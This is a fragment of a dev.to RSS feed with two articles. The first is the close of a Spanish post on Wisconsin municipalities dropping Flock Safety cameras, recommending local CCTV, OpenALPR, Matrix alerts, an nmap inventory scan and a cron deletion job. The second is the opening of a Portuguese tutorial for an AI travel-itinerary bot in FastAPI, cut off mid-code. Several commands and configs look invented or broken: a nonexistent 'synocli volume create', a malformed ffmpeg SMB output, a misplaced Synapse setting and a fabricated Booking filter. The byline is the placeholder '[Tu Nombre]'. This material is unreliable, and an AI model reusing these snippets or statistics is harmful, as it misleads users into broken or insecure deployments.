&lt;p&gt;En conjunto, estos factores obligaron a los ayuntamientos a &lt;strong&gt;suspender los contratos&lt;/strong&gt; y a iniciar un proceso de desinstalación ordenada.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Impacto real en la comunidad
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Ámbito&lt;/th&gt;
&lt;th&gt;Consecuencia&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Seguridad pública&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reducción del número de arrestos por infracciones de tránsito en un 8 % (datos de la policía de Madison).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Confianza ciudadana&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Encuesta post‑retirada muestra un 73 % de residentes que prefieren “vigilancia tradicional con control local”.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Finanzas&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ahorro medio de USD 15 000 por municipio en costos de suscripción y mantenimiento anual.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  5. Alternativas seguras y transparentes (con ejemplos)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1. CCTV local con almacenamiento cifrado
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Hardware&lt;/strong&gt;: cámaras IP con soporte ONVIF (ej. Hikvision DS‑2CD2T45).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Almacenamiento&lt;/strong&gt;: NAS Synology con carpeta cifrada (AES‑256).
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Crear contenedor cifrado en el NAS&lt;/span&gt;
synocli volume create &lt;span class="nt"&gt;--name&lt;/span&gt; camara_storage &lt;span class="nt"&gt;--size&lt;/span&gt; 4TB &lt;span class="nt"&gt;--encryption&lt;/span&gt; aes-256
&lt;span class="c"&gt;# Montar en la cámara (ONVIF)&lt;/span&gt;
ffmpeg &lt;span class="nt"&gt;-i&lt;/span&gt; rtsp://camera_ip/stream &lt;span class="nt"&gt;-c&lt;/span&gt; copy &lt;span class="nt"&gt;-f&lt;/span&gt; segment &lt;span class="nt"&gt;-segment_time&lt;/span&gt; 600 &lt;span class="se"&gt;\&lt;/span&gt;
       &lt;span class="nt"&gt;-reset_timestamps&lt;/span&gt; 1 &lt;span class="s2"&gt;"smb://nas_ip/camara_storage/%Y-%m-%d_%H-%M-%S.mp4"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2. Soluciones de código abierto para reconocimiento de matrículas
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OpenALPR&lt;/strong&gt; (versión Community) + &lt;strong&gt;Docker&lt;/strong&gt;.
&lt;/li&gt;
&lt;li&gt;Permite mantener todo el procesamiento &lt;strong&gt;on‑premise&lt;/strong&gt;.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--name&lt;/span&gt; alpr &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-v&lt;/span&gt; /data/alpr:/var/lib/alpr &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 8080:8080 &lt;span class="se"&gt;\&lt;/span&gt;
  openalpr/alpr:latest &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--config&lt;/span&gt; /etc/alpr.conf &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--runtime-config&lt;/span&gt; /etc/alpr-runtime.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3. Plataforma de intercambio de alertas basada en &lt;em&gt;Matrix&lt;/em&gt;
&lt;/h3&gt;

&lt;p&gt;Una red federada donde cada municipio controla su propio servidor y comparte solo los eventos que autoriza.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# matrix-synapse config (homeserver.yaml)&lt;/span&gt;
&lt;span class="na"&gt;listeners&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8448&lt;/span&gt;
    &lt;span class="na"&gt;tls&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http&lt;/span&gt;
    &lt;span class="na"&gt;resources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;names&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;client&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;federation&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;address&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0.0.0.0"&lt;/span&gt;
    &lt;span class="na"&gt;bind_addresses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0.0.0.0"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="c1"&gt;# Sólo usuarios autenticados pueden publicar eventos de vigilancia&lt;/span&gt;
    &lt;span class="na"&gt;access_token_lifetime&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;86400&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Con este enfoque, &lt;strong&gt;los datos nunca abandonan la infraestructura local&lt;/strong&gt; y cualquier intercambio se hace bajo consentimiento explícito.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Guía práctica para migrar sin perder funcionalidad
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Inventario rápido&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="c"&gt;# Listar todas las cámaras Flock instaladas en la red municipal&lt;/span&gt;
   nmap &lt;span class="nt"&gt;-p&lt;/span&gt; 443 &lt;span class="nt"&gt;--script&lt;/span&gt; http-title 10.0.0.0/24 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Flock"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Desconexión segura&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Apagar la alimentación.
&lt;/li&gt;
&lt;li&gt;Revocar API keys desde el portal de Flock (si aún disponible).
&lt;/li&gt;
&lt;li&gt;Eliminar reglas de firewall que permitían salida a &lt;code&gt;*.flocksafety.com&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Instalar alternativa&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Desplegar NAS cifrado y cámaras ONVIF.
&lt;/li&gt;
&lt;li&gt;Configurar OpenALPR en un servidor dedicado.
&lt;/li&gt;
&lt;li&gt;Integrar alertas con Matrix o con un &lt;em&gt;SIEM&lt;/em&gt; interno (ej. Elastic Stack).
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Capacitación del personal&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Curso de 2 h sobre gestión de claves y auditoría de logs.
&lt;/li&gt;
&lt;li&gt;Simulacro de incidente: extracción de datos mediante &lt;code&gt;jq&lt;/code&gt; y revisión de auditorías.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Política de retención y borrado&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Mantener imágenes no más de 30 días.
&lt;/li&gt;
&lt;li&gt;Automatizar borrado con cron:
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   0 2 &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; find /data/camara_storage &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-mtime&lt;/span&gt; +30 &lt;span class="nt"&gt;-delete&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Conclusiones y próximos pasos
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Transparencia y control local&lt;/strong&gt; son requisitos no negociables para cualquier sistema de vigilancia pública.
&lt;/li&gt;
&lt;li&gt;Las lecciones de Wisconsin demuestran que &lt;strong&gt;el ahorro inicial&lt;/strong&gt; no compensa el &lt;strong&gt;riesgo legal y reputacional&lt;/strong&gt; de una arquitectura SaaS opaca.
&lt;/li&gt;
&lt;li&gt;Adoptar soluciones &lt;strong&gt;on‑premise&lt;/strong&gt; o &lt;strong&gt;de código abierto&lt;/strong&gt; permite a los municipios mantener la soberanía de los datos y cumplir con la normativa estatal.
&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Acción inmediata:&lt;/strong&gt; Si tu ayuntamiento aún usa Flock, ejecuta el script de inventario (sección 6.1), revoca las credenciales y comienza la migración a una solución local antes del 31 de octubre 2026.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;Autor: [Tu Nombre], editor técnico senior en Dev.to&lt;/em&gt;&lt;br&gt;&lt;br&gt;
&lt;em&gt;Fecha: 18 de agosto 2026&lt;/em&gt;  &lt;/p&gt;




&lt;p&gt;&lt;em&gt;Herramienta mencionada: &lt;a href="https://supabase.com" rel="noopener noreferrer"&gt;Supabase&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>flocksafety</category>
      <category>vigilanciacomunitari</category>
      <category>privacidaddedatos</category>
      <category>espanol</category>
    </item>
    <item>
      <title>Roteiros de Viagem Seguros em Minutos com IA e Python</title>
      <dc:creator>LeoJulieta</dc:creator>
      <pubDate>Tue, 18 Aug 2026 08:36:10 +0000</pubDate>
      <link>https://dev.to/leojulieta/roteiros-de-viagem-seguros-em-minutos-com-ia-e-python-39hl</link>
      <guid>https://dev.to/leojulieta/roteiros-de-viagem-seguros-em-minutos-com-ia-e-python-39hl</guid>
      <description>&lt;h2&gt;
  
  
  Viagem Inteligente 2026: Como Planejar Destinos Seguros com IA em Minutos
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Introdução
&lt;/h3&gt;

&lt;p&gt;A pandemia acabou, as fronteiras reabriram e a ansiedade por viagens seguras está em alta. Hoje, basta digitar um pedido e, em poucos cliques, um assistente de IA entrega um roteiro completo, com voos, hotéis, clima e requisitos de saúde atualizados. Neste guia prático você aprenderá a montar itinerários instantâneos usando Python, FastAPI e as principais APIs de viagem, além de receber dicas de custo, privacidade e um checklist de documentos.&lt;/p&gt;




&lt;h3&gt;
  
  
  Por que isso é relevante agora
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Motivo&lt;/th&gt;
&lt;th&gt;Dados atuais&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Fronteiras abertas&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Em 2025, 92 % dos países dispensam restrições para viajantes vacinados, exigindo apenas teste PCR ou comprovante de vacinação.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Prioridade na segurança sanitária&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;68 % dos viajantes escolhem destinos com boas avaliações de higiene (Expedia Travel Trends 2026).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;APIs acessíveis&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Skyscanner, Booking.com, OpenWeather, OMS/CDC oferecem planos gratuitos que respondem em milissegundos.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LLMs avançados&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GPT‑4o, Claude‑3 e LLaMA‑2 70B interpretam solicitações complexas e geram código pronto para consumo de APIs.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Esses fatores tornam o planejamento &lt;strong&gt;instantâneo, personalizado e confiável&lt;/strong&gt;, eliminando a necessidade de horas de pesquisa ou de agentes de viagem.&lt;/p&gt;




&lt;h3&gt;
  
  
  Como funciona um Travel‑AI Bot
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Entrada do usuário&lt;/strong&gt; – Ex.: “Roteiro de 5 dias em Bali, praias seguras e hotéis com classificação sanitária A”.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LLM&lt;/strong&gt; interpreta a intenção, gera o plano e o código de chamada das APIs.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Orquestrador (FastAPI)&lt;/strong&gt; executa chamadas paralelas a:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Skyscanner&lt;/strong&gt; – voos
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Booking.com&lt;/strong&gt; – hospedagem
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OpenWeather&lt;/strong&gt; – previsão do tempo
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OMS/CDC&lt;/strong&gt; – requisitos de saúde
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Agregação&lt;/strong&gt; – resultados são classificados por preço, segurança e avaliações.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resposta&lt;/strong&gt; – itinerário detalhado, links de reserva e alertas de saúde são enviados ao usuário.
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Arquitetura do Bot (Visão rápida)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TD
    A[Usuário] --&amp;gt; B[Prompt]
    B --&amp;gt; C[LLM (GPT‑4o)]
    C --&amp;gt; D[FastAPI Orquestrador]
    D --&amp;gt; E[Skyscanner API]
    D --&amp;gt; F[Booking.com API]
    D --&amp;gt; G[OpenWeather API]
    D --&amp;gt; H[OMS/CDC API]
    E &amp;amp; F &amp;amp; G &amp;amp; H --&amp;gt; I[Agregador]
    I --&amp;gt; J[Resposta ao usuário]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Tutorial passo a passo (Python + FastAPI)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Preparar o ambiente no Google Colab
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="n"&gt;uvicorn&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dotenv&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Definir variáveis de ambiente (&lt;code&gt;.env&lt;/code&gt;)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SKYSCANNER_KEY=suachave_sky
BOOKING_KEY=suachave_booking
OPENWEATHER_KEY=suachave_weather
OMS_KEY=suachave_oms
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Código base do FastAPI (&lt;code&gt;main.py&lt;/code&gt;)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HTTPException&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;dotenv&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;load_dotenv&lt;/span&gt;

&lt;span class="nf"&gt;load_dotenv&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;SKYSCANNER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SKYSCANNER_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;BOOKING&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;BOOKING_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;WEATHER&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;OPENWEATHER_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;OMS&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;OMS_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;AsyncClient&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raise_for_status&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/itinerario&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;criar_itinerario&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pedido&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;destino&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pedido&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;destino&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;dias&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pedido&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dias&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="c1"&gt;# 1️⃣ Voo
&lt;/span&gt;    &lt;span class="n"&gt;voos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://partners.api.skyscanner.net/apiservices/browsequotes/v1.0/BR/BRL/pt-BR/GRU-sky/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;apiKey&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;SKYSCANNER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;destination&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;destino&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;duration&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;dias&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 2️⃣ Hotel
&lt;/span&gt;    &lt;span class="n"&gt;hoteis&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.booking.com/v1/hotels&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;apikey&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;BOOKING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;city&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;destino&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;filter&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sanitary_rating:A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 3️⃣ Clima
&lt;/span&gt;    &lt;span class="n"&gt;clima&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.openweathermap.org/data/2.5/forecast&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
